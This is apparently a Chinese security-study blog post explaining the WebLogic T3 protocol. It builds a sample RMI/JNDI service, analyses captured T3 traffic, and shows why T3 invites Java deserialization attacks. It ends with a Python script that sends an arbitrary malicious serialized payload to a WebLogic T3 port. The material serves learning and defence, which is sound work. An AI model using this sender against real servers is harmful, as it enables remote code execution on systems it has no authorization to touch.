WebLogic系列漏洞学习之T3:T3协议

0x00 前言

因为涉及RMI和JNDI的基础知识,推荐先阅读下:

RMI

JNDI

0x01 什么是T3协议?

T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。

0x02 怎么调用T3服务?

参考官方给的例子写个测试例子,该例子将HelloServer服务绑定在jndi上进行管理,方便调用t3的HelloServer服务。

首先创建Maven项目

image-20200721155118447

填写信息,选择目录,finish创建完成

image-20200721155152125

Hello.java:Hello继承Remote接口

Hello.java
1
2
3
4
5
package Pocs.WebLogic.t3;

public interface Hello extends java.rmi.Remote {
public String sayHello() throws java.rmi.RemoteException;
}

HelloImpl.java:实现远程接口Hello,Hello服务的具体信息

HelloImpl.java
1
2
3
4
5
6
7
8
9
10
11
package Pocs.WebLogic.t3;

import java.rmi.RemoteException;

public class HelloImpl implements Hello {
@Override
public String sayHello() throws RemoteException {
System.out.println("hello");
return "Hello!";
}
}

Server.java:创建HelloImpl类的实例并在JNDI registry中以HelloServer注册。

Server.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package Pocs.WebLogic.t3;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class Server {

// The factory to use when creating our initial context
public final static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";

/**
* Create an instance of the Implementation class
* and bind it in the registry.
*/
public static void main(String[] args) {
try {
Context ctx = getInitialContext("t3://192.168.116.140:7001");
ctx.bind("HelloServer", new HelloImpl());
System.out.println("HelloImpl created and bound to the JNDI");
}
catch (Exception e) {
System.out.println("HelloImpl.main: an exception occurred!");
e.printStackTrace(System.out);
}
}

/* Creates the Initial JNDI Context */
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

Client.java:找到HelloServer服务然后去调用

Client.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package Pocs.WebLogic.t3;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class Client {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";

public Client() {
}

public static void main(String[] args) throws Exception {

try {
InitialContext ic = getInitialContext("t3://192.168.116.140:7001");
Hello obj = (Hello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer , call sayHello() : "+ obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}

private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}


}

修改pom.xml:

pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>Pocs.WebLogic.t3</groupId>
<artifactId>t3</artifactId>
<version>1.0-SNAPSHOT</version>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>Pocs.WebLogic.t3.Server</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>


</project>

mvn package生成jar包,将jar包放在域的lib下

image-20200721162706621

然后在WebLogic console下新增一个启动类,类名要写全名,选择adminserver

image-20200721162935046

重启weblogic(可以先不重启看下有没有,我忘了到底重启没)找到JNDI

image-20200721163057420

可以看到AdminServer下多了HelloServer,这时候证明HelloServer在Weblogic的JNDI注册成功

image-20200721163206880

这时可以执行Client.java,客户端成功调用HelloServer服务。如果报错的话,提示没有WLInitialContextFactory类,因为客户端调用了weblogic.jndi.WLInitialContextFactory,所以要加下weblogic的jar,可以把weblogic的wlserver/server/lib下的jar包拷贝出来放到一个目录然后加到Libraries下,我用的是之前某次远程分析时候的jar,版本是10.3.6。

image-20200721163750014

至此,我们成功利用调用了weblogic的T3下的服务。

0x03 WebLogic T3和反序列化的关系?

学习RMI的时候我们已经了解RMI的原理

  1. 将可以远程调用的对象进行序列化,然后绑定到RMI Server(被调方,运行者)中作为存根(stub)
  2. RMI Client 会先去下载stub反序列化然后发起client调用,RMI 底层(RMI Interface Layer & Transport Layer)会讲请求参数封装发送到RMI Server
  3. RMI Server 接收到封装的参数,传递给骨架(skeleton),由桩解析参数并且以参数调用对应的存根(stub)方法。
  4. 存根方法在RMI Server执行完毕之后,返回结果将被RMI底层封装并传输给RMI Client(也就是主调方,调用者)

可以看出:RMI是基于序列化和反序列化的,远程对象在进行注册时,序列化作为存根,客户端调用的时候会把序列化后的对象进行反序列化再调用,T3一样的道理,所以同样会在客户端调用服务的时候进行反序列化获取对象。到这一步搞懂了为什么webLogic T3会被爆出反序列化漏洞。

image-20200609170552480

0x04 怎么构造payload并通过T3执行命令?

构造恶意数据并发送想要先分析如何与T3建立连接并发送包。

分析T3包

构造T3包,首先分析流量,执行client.java,用wireshark进行抓包,并跟踪TCP流,下图是以ASCII码形式显示

image-20200721203221667

红色是本地(192.168.116.1)发送的包,蓝色是接收的来自服务器(192.168.116.140)的包,我们一一分析

首先和目标服务器建立连接,然后本地发送T3协议头,由上图观察可以注意到这里结尾是两个\n

1
t3 10.3.6\nAS:255\nHL:19\n\n

服务器监听,收到请求并发送数据,我们可以得到服务器的版本12.2.1.4

1
2
3
4
5
HELO:12.2.1.4.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN

分析到这里我不是很懂后面部分是怎么进行,参考了下修复weblogic的JAVA反序列化漏洞的多种方法#对JAVA序列化数据进行解析,通过ac ed 00 05可以筛选出请求的反序列化部分

image-20200721212800433

自己也跟着实践了下,用之前学习Java序列化的例子来构造了一个序列化数据,发现确实是以aced0005开始

image-20200721214315503

image-20200721214719132

接着继续跟着学习,发现优秀的表哥已经把这个分析的很明白了

分析下图发送的包由三部分构成:

  1. 包第一部分-由包的大小和其他数据组成。整个包的大小是前四个字节00 00 02 7c
  2. 第二部分以ac ed 00 05开始的序列化部分
  3. 第三部分以ac ed 00 05开始的序列化部分

image-20200721215748210

构造T3包

构造包,表哥给了两种方法:

1
2
第一种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第二到三部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
第二种生成方式为,将前文所述的weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

为了简单,我选择第二种方法进行构造,即将 包第一部分-由包的大小和其他数据组成恶意序列化数据 拼接

参考脚本,经过上面的分析,可以总结下流程

  1. 用socket建立TCP连接
  2. 发送T3协议头
  3. 将恶意数据按照第二种方法拼接在第一部分之后
  4. 获取整个包的长度,然后替换第一部分的前四个字节
  5. 最后发送数据

我们便可以构造出通用的T3包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 适用于python2和python3
import binascii
import socket
import time

def exp(ip, port, file):
t3_header = 't3 10.3.6\nAS:255\nHL:19\n\n'
host = (ip, int(port))
# socket connect
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
# send t3 header
sock.send(t3_header.encode('utf-8'))
time.sleep(1)
resp1 = sock.recv(1024)
# first part
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
# second part, BIN -> HEX
with open(file, 'rb') as f:
payload = binascii.b2a_hex(f.read()).decode('utf-8')
# join
data = data1 + payload
# get lenth and join
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
# a2b: HEX -> BIN
sock.send(binascii.a2b_hex(data))

if __name__ == '__main__':
exp('192.168.116.132','7001','poc.ser')

0x05 参考链接:

Developing T3 Clients

How to Implement WebLogic RMI

关于引用WebLogic.jar时遇到NoClassDefFoundError问题的解决方法

wireshark解析TCP的几种状态

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

修复weblogic的JAVA反序列化漏洞的多种方法#对JAVA序列化数据进行解析

Java反序列化个人总结

二进制和 ASCII 码互转